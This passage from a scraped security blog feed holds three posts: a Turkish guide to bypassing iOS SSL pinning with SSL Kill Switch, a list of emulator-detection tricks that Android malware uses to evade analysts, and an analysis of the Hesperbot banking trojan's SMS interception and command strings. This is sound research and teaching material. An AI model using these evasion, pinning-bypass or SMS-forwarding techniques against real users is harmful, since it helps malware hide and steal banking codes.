metodu kullanılarak sertifika kontrolü devreye alınmaktadır. SSL Pining'in devre dışı bırkılması için yapılabilecek şey bu metodun /metodların patch'lenerek sertifika kontrolünün devre dışı bırakılmasıdır.</div>
</div>
<div style="text-align: justify;">
iOS için fonksiyonlara kanca atarak patch'lenmesi için kullanılabilecek en önemli araç <a href="http://www.cydiasubstrate.com/">Cydia Substrate (Mobile Substrate)</a> aracıdır. Cydia substrate kullanarak geliştirilmiş, SSL kontrolleri ve SSL Pinning'i devre dışı bırakan bir araç bulunmaktadır. iSECPartners tarafından geliştirilen bu araç <a href="https://github.com/iSECPartners/ios-ssl-kill-switch">iOS SSL Kill Switch</a> aracıdır. iOS SSL Kill Switch hakkında detaylı bilgi <a href="https://github.com/iSECPartners/ios-ssl-kill-switch/blob/master/BH2012_MobileCertificatePinning.pdf?raw=true">2012 Blackhat konferansı sunumundan</a> elde edilebilir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-ute-bOb0dC8/VLGOK0gSFwI/AAAAAAAACpo/HeHRXRnJquQ/s1600/iSECPartners_ios-ssl-kill-switch_%C2%B7_GitHub.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-ute-bOb0dC8/VLGOK0gSFwI/AAAAAAAACpo/HeHRXRnJquQ/s1600/iSECPartners_ios-ssl-kill-switch_%C2%B7_GitHub.png" height="180" width="640" /></a></div>
<div style="text-align: justify;">
iOS SSL Kill Switch'in cihaza yüklenebilmesi için 3 adet ön şart bulunmaktadır.</div>
<div style="text-align: justify;">
<ul>
<li><b>dpkg:</b> .deb paketlerini yüklemek için </li>
<li><b>Cydia Substrate:</b> Fonksiyonları patch'lemek için</li>
<li><b>PreferenceLoader:</b> iOS Ayarlar menüsüne ekleme yapabilmek için</li>
</ul>
</div>
<div style="text-align: justify;">
Ve tabii ki bunları yükleyebilmek için ichazın root'lu olması gerekmektedir. Bu araçlar Cydia üzerinden yüklendikten sonra SSL Kill Switch'in .deb uzantılı paketi cihaza atılır ve cihaza SSH yapılarak bu paket yüklenir. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-z7Gb4pyW22M/VLGQg-_PbfI/AAAAAAAACqU/tL9Dw1BWmRU/s1600/cydia_substrate.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-z7Gb4pyW22M/VLGQg-_PbfI/AAAAAAAACqU/tL9Dw1BWmRU/s1600/cydia_substrate.png" height="125" width="200" /></a><a href="http://2.bp.blogspot.com/-2Gg8bIm3cL4/VLGQLUTTvDI/AAAAAAAACp8/c7lAAaLZdPY/s1600/preference%2Bloader.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-2Gg8bIm3cL4/VLGQLUTTvDI/AAAAAAAACp8/c7lAAaLZdPY/s1600/preference%2Bloader.png" height="129" width="200" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-HZhTC4pg94A/VLGSADlamoI/AAAAAAAACqg/nN879tWjMFM/s1600/install%2BSLL%2BKill%2BSwitch.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-HZhTC4pg94A/VLGSADlamoI/AAAAAAAACqg/nN879tWjMFM/s1600/install%2BSLL%2BKill%2BSwitch.png" height="65" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
Yükleme sonrasında SpringBoard'ı yeniden başlatmak için</div>
<pre><blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">killall -HUP SpringBoard</span></blockquote>
<span style="font-family: Times; text-align: justify; white-space: normal;">komutu çalıştırılır ve cihaz yeniden açıldığıdna ayarlar menüsünde SSL Kill Switch'e ait menü görünür.</span></pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-4W8xChcvLJc/VLGSnudP9VI/AAAAAAAACqs/-ycBvueKB0s/s1600/activateSSLKillSwitch.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-4W8xChcvLJc/VLGSnudP9VI/AAAAAAAACqs/-ycBvueKB0s/s1600/activateSSLKillSwitch.png" height="200" width="190" /></a><a href="http://4.bp.blogspot.com/-9610vr7IikQ/VLGSnu6cwXI/AAAAAAAACqo/YsuqGvo0NKg/s1600/preferences.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-9610vr7IikQ/VLGSnu6cwXI/AAAAAAAACqo/YsuqGvo0NKg/s1600/preferences.png" height="190" width="200" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
SSL Kill Switch'in aktif olup olmadığı cihazın Console Log'larından görülebilir.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-ooR4c7CdlfA/VLGVF-SKTRI/AAAAAAAACq8/yYTnpFhkVZU/s1600/iPhone_Configuration_Utility.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-ooR4c7CdlfA/VLGVF-SKTRI/AAAAAAAACq8/yYTnpFhkVZU/s1600/iPhone_Configuration_Utility.png" height="35" width="640" /></a></div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-880810377140693460.post-4208153748827657292014-12-03T21:35:00.000+02:002014-12-11T14:01:23.117+02:00Android Malware Evasion Techniques - Emulator Detection<div style="text-align: justify;">
Most of the modern malware try to escape from being analysed and one of the first thing they do is to check if they are running on a controlled environment. The controlled environment refers to an emulator in the world of Android malware. If the malware runs on an emulator, that means it is most probably being investigated by a researcher. There are various methods that malware writers use to detect the emulated environment. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>1.) Check Product Name:</b></div>
<div style="text-align: justify;">
In Android emulator, product name of the device contains "sdk" string so it is a useful clue to detect if the app is running on an emulator. In order to check the product name, you can use the following code snippet:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-aygRnvcLCHM/VH2NSISsg5I/AAAAAAAACl8/8uaGdnIUJmg/s1600/build_product.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-aygRnvcLCHM/VH2NSISsg5I/AAAAAAAACl8/8uaGdnIUJmg/s1600/build_product.png" /></a></div>
<div style="text-align: justify;">
<b>2.) Check Model Name:</b></div>
<div style="text-align: justify;">
The default product name of the Android emulator contains "sdk" string. So it is worth to check model name in order to detect emulator use.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-bNVPtfNWj08/VH2NSOn-B8I/AAAAAAAACl4/MxuMpTVjBUA/s1600/build_model.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-bNVPtfNWj08/VH2NSOn-B8I/AAAAAAAACl4/MxuMpTVjBUA/s1600/build_model.png" /></a></div>
<div style="text-align: justify;">
<b>3.) Check SIM Operator Name:</b></div>
<div style="text-align: justify;">
In Android emulators, the SIM operator name comes with the default "Android" string. It is not the case that you can see in regular physical devices even there is no SIM card installed in the device.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-SxgrIObkg1k/VH2TiBFX3jI/AAAAAAAACmQ/9Mse-xVLbHc/s1600/getsimoperator.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-SxgrIObkg1k/VH2TiBFX3jI/AAAAAAAACmQ/9Mse-xVLbHc/s1600/getsimoperator.png" height="52" width="640" /></a></div>
<div style="text-align: justify;">
<b>4.) Check Network Operator Name:</b></div>
<div style="text-align: justify;">
Similar to the SIM Operator Name, the network operator name also comes with the default "Android" string. It is a good idea to check network operator name in order to decide if the app is running on an emulator.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-De7653s6f8w/VH2UB7haWFI/AAAAAAAACmY/IpF01OWgmro/s1600/getnetworkoperator.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-De7653s6f8w/VH2UB7haWFI/AAAAAAAACmY/IpF01OWgmro/s1600/getnetworkoperator.png" height="50" width="640" /></a></div>
<div style="text-align: justify;">
By combining these 4 techniques mentioned above, you can write a basic Android app that shows these values. In order to compare if they are really work, you can install the app both to the emulator and a real device.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-mjB5zmP6pEg/VH2UrNPUifI/AAAAAAAACmk/nUmwBkimI4k/s1600/device.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-mjB5zmP6pEg/VH2UrNPUifI/AAAAAAAACmk/nUmwBkimI4k/s1600/device.png" height="400" width="225" /></a><a href="http://4.bp.blogspot.com/-O2Dtnr_7SV4/VH2UrI3qvCI/AAAAAAAACmg/7XtyZ8jD8Is/s1600/emulator.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-O2Dtnr_7SV4/VH2UrI3qvCI/AAAAAAAACmg/7XtyZ8jD8Is/s1600/emulator.png" height="400" width="236" /></a></div>
The picture on the left hand side is the screenshot taken from Samsung Galaxy S4 phone and the one on the right is the screenshot of an emulator. You can see the difference clearly.<br />
<br />
<b>5.) Check </b><span style="font-family: 'Courier New', Courier, monospace; font-weight: bold;">ro.kernel.qemu </span><span style="font-family: Times, Times New Roman, serif;"><b>and</b></span><span style="font-family: 'Courier New', Courier, monospace; font-weight: bold;"> ro.secure </span><b>Property:</b> Additionally you can check the Android system properties to detect emulated environment. There are various property files in Android filesystem:<br />
<ul>
<li><span style="font-family: Courier New, Courier, monospace;">/default.prop </span></li>
<li><span style="font-family: Courier New, Courier, monospace;">/system/build.prop</span></li>
<li><span style="font-family: Courier New, Courier, monospace;">/data/local.prop</span></li>
</ul>
<div style="text-align: justify;">
Properties are stored in a key value pair format in these property files. You can see the values of the properties by typing </div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;">adb shell getprop <key></span></blockquote>
<div style="text-align: justify;">
command. There are some critical properties indicating the emulator environment. </div>
<div style="text-align: justify;">
</div>
<ul>
<li><span style="font-family: 'Courier New', Courier, monospace;">ro.secure</span></li>
<li><span style="font-family: 'Courier New', Courier, monospace;">ro.kernel.qemu</span></li>
</ul>
<div style="text-align: justify;">
If the value of <span style="font-family: 'Courier New', Courier, monospace; text-align: start;">ro.secure </span>is "0", or the value of <span style="font-family: 'Courier New', Courier, monospace; text-align: start;">ro.kernel.qemu </span>is 1, ADB shell runs as root and that means the environment which, the app is running is an emulator. Because in a physical device ADB shell runs in a regular user right, not the root. In order to check these properties you can use the code snippets below.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-wcTT7qw7Db8/VH3SMtB1NcI/AAAAAAAACm4/jxHumJLhXnA/s1600/kernel_qemu.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-wcTT7qw7Db8/VH3SMtB1NcI/AAAAAAAACm4/jxHumJLhXnA/s1600/kernel_qemu.png" height="59" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-ed3EhNFMFIo/VH3SMqDIoOI/AAAAAAAACm8/V_rzITCtH20/s1600/secure.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-ed3EhNFMFIo/VH3SMqDIoOI/AAAAAAAACm8/V_rzITCtH20/s1600/secure.png" height="66" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
I uploaded a sample detecttion code to my Github page that combines all the methods above:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://github.com/oguzhantopgul/Android-Emulator-Detection">https://github.com/oguzhantopgul/Android-Emulator-Detection</a></div>
<div class="separator" style="clear: both; text-align: justify;">
In this blog post i tried to mention about my favourite Android Emulator detection methods. If you know much better techniques please send me a comment.</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>Update:</b> I've just noticed the Tim Strazzere's (<a href="https://twitter.com/timstrazz">@timstrazz</a>) Android Project on emulator detection. You can find it in his github repo link below:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://github.com/strazzere/anti-emulator">https://github.com/strazzere/anti-emulator</a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>Update2:</b> There is also one more Android project that focuses on emulator detection. You can find the Ryan's (<a href="https://twitter.com/fuzion24">@Fuzion24</a>) project in the github repo below:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://github.com/Fuzion24/AndroidEmulatorDetection">https://github.com/Fuzion24/AndroidEmulatorDetection</a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>Update3:</b> I've recently faced with another emulator detection method that is used by <a href="http://www.apkprotect.com/apkprotectlite.html">APKProtect </a>protector tool. It's about checking "qemud" (qemu daemon) process. The following code loops over all the processes that are listed in /proc filesystem and check if it is qemud by comparing the hash of the path of the qemud binary.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-2DmYv5oMX1A/VImGOmzfmsI/AAAAAAAACn0/GRvdjdmDUMg/s1600/qemud.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-2DmYv5oMX1A/VImGOmzfmsI/AAAAAAAACn0/GRvdjdmDUMg/s1600/qemud.png" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
</div>
Unknownnoreply@blogger.com0tag:blogger.com,1999:blog-880810377140693460.post-3906001417932444072014-09-28T12:54:00.001+03:002015-01-19T14:21:42.649+02:00Android Hesperbot Malware AnalysisNew Hesperbot campaign is targeting around 20 banks in Turkey. Hesperbot is a banking trojan and it has two main parts; PC and Mobile. Mobile part supports different kind of platforms but the main target is for sure, Android.<br />
<br />
<div style="text-align: justify;">
Heperbot Android malware is downloaded to the device with the cooperation of Hesperbot Windows desktop malware. Hepserbot desktop malware asks victims to install mobile component to their smartphones. The URL of the mobile malware is sent to the victim via an SMS message.</div>
<br />
Upon the installation of Hesperbot mobile, it requests too many permissions especially about SMS, MMS issues. Another remarkable permission is <span style="font-family: Courier New, Courier, monospace;">RECEIVE_BOOT_COMPLETED</span> permission which is widely used by malwares for self-activation on device startup.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-bZhmbG37kmE/VCEjMJu68fI/AAAAAAAACBs/WAY9UY2qIok/s1600/perms.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-bZhmbG37kmE/VCEjMJu68fI/AAAAAAAACBs/WAY9UY2qIok/s1600/perms.png" height="339" width="640" /></a></div>
After the successful installation, laucher icon appears with the name "CEPWAP" in the main menu. (Bank logo is obfuscated by the author)<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-3LdccBh-YlQ/VCFM7nnCnNI/AAAAAAAACCE/5Kjlf6W-ni4/s1600/launchericon%2B2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-3LdccBh-YlQ/VCFM7nnCnNI/AAAAAAAACCE/5Kjlf6W-ni4/s1600/launchericon%2B2.png" height="400" width="240" /></a></div>
<a name='more'></a>CEPWAP app pretends to be a legit activation and one time password (OTP) app as shown below. (bank logos are obfuscated and the greyscale effect is applied to the activities) but it can easily seen with a quick review of AndroidManifest.XML file that the main purpose of the application is more than an OTP app.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-LzDcdX6Alkk/VCFYcvOmP9I/AAAAAAAACCU/HAGCz6irrdY/s1600/activationotp.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-LzDcdX6Alkk/VCFYcvOmP9I/AAAAAAAACCU/HAGCz6irrdY/s1600/activationotp.png" height="489" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<span style="text-align: start;">CEPWAP app (Hesperbot mobile) registers </span>5 Broadcast Receivers and<span style="text-align: start;"> 4 background services. </span>It handles <span style="font-family: Courier New, Courier, monospace;">BOOT_COMPLETED</span>, <span style="font-family: Courier New, Courier, monospace;">SMS_RECEIVED</span>, <span style="font-family: Courier New, Courier, monospace;">SMS_DELIVER</span>, <span style="font-family: Courier New, Courier, monospace;">WAP_PUSH_DELIVER</span>, <span style="font-family: Courier New, Courier, monospace;">DEVICE_ADMIN_ENABLED</span> and <span style="font-family: Courier New, Courier, monospace;">NEW_OUTGOING_CALL</span> events. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-MXTuTH6JYUk/VCPLytHKzdI/AAAAAAAACCo/foLTWKJLS40/s1600/receivers.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-MXTuTH6JYUk/VCPLytHKzdI/AAAAAAAACCo/foLTWKJLS40/s1600/receivers.png" height="268" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-XlIJ8gJtAec/VCPLyrcXoII/AAAAAAAACCk/j8Gaw_7UDhw/s1600/services.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-XlIJ8gJtAec/VCPLyrcXoII/AAAAAAAACCk/j8Gaw_7UDhw/s1600/services.png" height="152" width="640" /></a></div>
<div class="" style="clear: both; text-align: justify;">
<span style="text-align: start;">Hesperbot is being notified when the device boots up in the context of <span style="font-family: Courier New, Courier, monospace;">Loader Broadcast Receiver</span> and calls </span><span style="font-family: Courier New, Courier, monospace;">Util</span> class' <span style="font-family: Courier New, Courier, monospace;">MakeInitialization()</span> method. In the context of <span style="font-family: Courier New, Courier, monospace;">MakeInitialization()</span> method <span style="font-family: Courier New, Courier, monospace;">LogFilterService</span> and <span style="font-family: 'Courier New', Courier, monospace;">CDUSSDService</span> services are started. Additionally <span style="text-align: start;">another service that is called </span><span style="font-family: Courier New, Courier, monospace; text-align: start;">AdminHelperService</span><span style="text-align: start;"> </span><span style="text-align: start;"><span style="font-family: inherit;"> is started after the </span><span style="font-family: Courier New, Courier, monospace;">BOOT_COMPLETED</span><span style="font-family: inherit;"> </span>broadcast<span style="font-family: inherit;"> is received.</span></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-P5F27oHYpHE/VCa1i-9vtsI/AAAAAAAACC8/4v7l8cAAiuE/s1600/HesperbotLoaderBroadcastReceiver1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-P5F27oHYpHE/VCa1i-9vtsI/AAAAAAAACC8/4v7l8cAAiuE/s1600/HesperbotLoaderBroadcastReceiver1.png" height="246" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-cQYXuvabG1c/VCa1jFqOUDI/AAAAAAAACDA/KbCQjnCUhKY/s1600/HesperbotLoaderBroadcastReceiver2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-cQYXuvabG1c/VCa1jFqOUDI/AAAAAAAACDA/KbCQjnCUhKY/s1600/HesperbotLoaderBroadcastReceiver2.png" height="356" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
These services can easily be seen in the running services list of the device.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-HxBXJ1sLQnY/VCa51KRkwaI/AAAAAAAACDQ/4S96emM2WtU/s1600/services%2Bcopy.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-HxBXJ1sLQnY/VCa51KRkwaI/AAAAAAAACDQ/4S96emM2WtU/s1600/services%2Bcopy.png" height="400" width="225" /></a></div>
<h3>
Device Administrator</h3>
<div class="separator" style="clear: both; text-align: justify;">
AdminHelperService handles all the required steps by openning up an activity and asking user to add CEPWAP process into Device Administrators list. </div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-XS9QyfyRCEE/VCa89xzrRLI/AAAAAAAACDk/vahSW8ef2-s/s1600/adminreqireactivity.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-XS9QyfyRCEE/VCa89xzrRLI/AAAAAAAACDk/vahSW8ef2-s/s1600/adminreqireactivity.png" height="202" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
When an app is added to Device Administrators list, it could not be uninstalled by any other apps including other Device Administrator apps. Hesperbot adds itself to the Device Administrators list in order to be persistent.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-gmisewJLpdU/VCa8FwGqMaI/AAAAAAAACDc/1eoCfT79dso/s1600/device%2Badmin.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-gmisewJLpdU/VCa8FwGqMaI/AAAAAAAACDc/1eoCfT79dso/s1600/device%2Badmin.png" height="400" width="240" /></a></div>
<h3>
SMS Intercepting</h3>
<div class="separator" style="clear: both; text-align: justify;">
The main objective of the Hesperbot mobile malware is to intercept SMS messages and forward them to the attacker. In order to do that, it registers <span style="font-family: Courier New, Courier, monospace;">SmsReceiver</span> broadcast receiver and <span style="font-family: Courier New, Courier, monospace;">LogFilterService</span> service. Both <span style="font-family: Courier New, Courier, monospace;">SmsReceiver</span> and <span style="font-family: Courier New, Courier, monospace;">LogFilterService</span> do the same thing in different ways. <span style="font-family: Courier New, Courier, monospace;">SmsReceiver</span> listens the <span style="font-family: Courier New, Courier, monospace;">SMS_RECEIVED</span> broadcasts, but the <span style="font-family: Courier New, Courier, monospace;">LogFilterService</span> checks SMS content provider if is there any changes in it by registering a content observer.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-MHWivghRSr8/VCbHTjCJHtI/AAAAAAAACEA/mlo5dadKbV0/s1600/content_observer.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-MHWivghRSr8/VCbHTjCJHtI/AAAAAAAACEA/mlo5dadKbV0/s1600/content_observer.png" height="126" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
If the Hesperbot is not the first receiver of <span style="font-family: Courier New, Courier, monospace;">SMS_RECEIVED</span> broadcast and the <span style="font-family: Courier New, Courier, monospace;">LogFilterService</span> is running, <span style="font-family: Courier New, Courier, monospace;">SmsReceiver</span> does nothing and <span style="font-family: Courier New, Courier, monospace;">LogFilterService</span> handles the SMS interception responsibility.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-u3IfJl5zq60/VCbFpHaUNeI/AAAAAAAACD0/GhaM9sgrISo/s1600/smsReceiverservicecheck.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-u3IfJl5zq60/VCbFpHaUNeI/AAAAAAAACD0/GhaM9sgrISo/s1600/smsReceiverservicecheck.png" height="60" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
In addition to these services are mentioned above, another important service named <span style="font-family: Courier New, Courier, monospace;">CheckPrevSmsService</span> is registered by the Hesperbot malware. The main purpose of the <span style="font-family: Courier New, Courier, monospace;">CheckPrevSmsService</span> is to kill other processes and services that might capture the SMS broadcasts. <span style="font-family: 'Courier New', Courier, monospace;">CheckPrevSmsService</span> extends runnable class and therefore it periodically checks the process list and searches for the programs and services that are listed below and kills if any of them is actively running.</div>
<ul>
<li>com.jb.gosms:im</li>
<li>com.handcent.nextsms:im</li>
<li>com.jb.gosms</li>
<li>com.jb.gosms.smspopup.SmsReceiverService</li>
<li>com.jb.gosms.transaction.SmsReceiverService</li>
<li>com.jb.gosms.ui.security</li>
<li>com.jb.gosms.smsinterception</li>
<li>com.google.android.talk</li>
<li>com.handcent.nextsms</li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-61FuSEbYBzk/VCbVml1xCjI/AAAAAAAACF8/gYvn0Ll7KnU/s1600/killOtherBroadcastReceivers.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-61FuSEbYBzk/VCbVml1xCjI/AAAAAAAACF8/gYvn0Ll7KnU/s1600/killOtherBroadcastReceivers.png" height="506" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
The main functionality of the Hesperbot Malware is held by <span style="font-family: Courier New, Courier, monospace;">SmsReceiver</span> receiver and <span style="font-family: Courier New, Courier, monospace;">LogFilterService</span> service. Both <span style="font-family: Courier New, Courier, monospace;">SmsReceiver</span> and <span style="font-family: Courier New, Courier, monospace;">LogFilterService</span> parse the sender phone number and check if the SMS is from the Admin's (attacker's) phone number when there is a change in SMS content provider or if any <span style="font-family: Courier New, Courier, monospace;">SMS_RECEIVED</span> broadcast is caught. Hesperbot compares the parsed phone number with the admin phone number which is stored in the Settings database file (Settings database file holds the admin phone number, the status of the malware and some other information).</div>
<div class="separator" style="clear: both; text-align: justify;">
<br /></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>1.)</b> If the SMS is not from the Admin, it checks the body of the SMS message. If the SMS content starts with "<b><span style="font-family: Courier New, Courier, monospace;">qowieqiowu</span></b>" string, that means it is being tired to register new Admin phone number. The successor of the "<b><span style="font-family: Courier New, Courier, monospace;">qowieqiowu</span></b>" string is going to be recorded to the Settings database file as the admin phone number.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-ULXs1MMK7Js/VCbJ3GL59HI/AAAAAAAACEM/T9ytt2y69-4/s1600/setadmin.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-ULXs1MMK7Js/VCbJ3GL59HI/AAAAAAAACEM/T9ytt2y69-4/s1600/setadmin.png" height="88" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
After the successful update of the Settings database, a success message is sent to the Admin phone number via SMS. Success message is the string of "<b><span style="font-family: Courier New, Courier, monospace;">suvep_xep</span></b>"for the Android KitKat devices, and "<b><span style="font-family: Courier New, Courier, monospace;">suvep</span></b>" for the devices other than the KitKat.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/--hmFEoULB3I/VCbKnvwBsAI/AAAAAAAACEU/LvMC1Z8zD-s/s1600/success.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/--hmFEoULB3I/VCbKnvwBsAI/AAAAAAAACEU/LvMC1Z8zD-s/s1600/success.png" height="102" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>2.)</b> If the SMS is both not from the admin and the body does not start with "<b><span style="font-family: Courier New, Courier, monospace;">qowieqiowu</span></b>" string, that means this SMS is a regular SMS message and it should be forwarded to the Admin phone number without notifying the user. For that purpose, a new SMS message is constructed with the content of received SMS body, following by the string "Fr:" and the sender phone number; sent to the Admin phone number and deleted from the SMS database of the phone. </div>
<blockquote class="tr_bq">
<span style="font-family: Courier New, Courier, monospace;"><b><SMSBody>Fr:<senderPhoneNumber></b></span></blockquote>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-QERXZwPg5hA/VCbMprRjhmI/AAAAAAAACEg/Vk4hkohfmBA/s1600/redirectSMS.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-QERXZwPg5hA/VCbMprRjhmI/AAAAAAAACEg/Vk4hkohfmBA/s1600/redirectSMS.png" height="256" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
A forwarded test SMS is shown below:</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-HhWSEqtile4/VCbfkvjrPXI/AAAAAAAACGQ/v9wefbS2kLs/s1600/forwardedSMS.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-HhWSEqtile4/VCbfkvjrPXI/AAAAAAAACGQ/v9wefbS2kLs/s1600/forwardedSMS.png" height="90" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
<b>3.)</b> If the SMS is from Admin and the SMS body is "<b><span style="font-family: Courier New, Courier, monospace;">ekslcuap</span></b>" string, that means Hesperbot mobile malware should be activated and the status of the malware should be updated to <b><span style="font-family: Courier New, Courier, monospace;">ON</span></b> in the Settings database. After the datable record is updated, a success message is sent to the Admin.</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-hiSfa2PNbZs/VCbNdbThkEI/AAAAAAAACEo/97MXEiW2heQ/s1600/activatHesperbot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-hiSfa2PNbZs/VCbNdbThkEI/AAAAAAAACEo/97MXEiW2heQ/s1600/activatHesperbot.png" height="220" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: justify;">
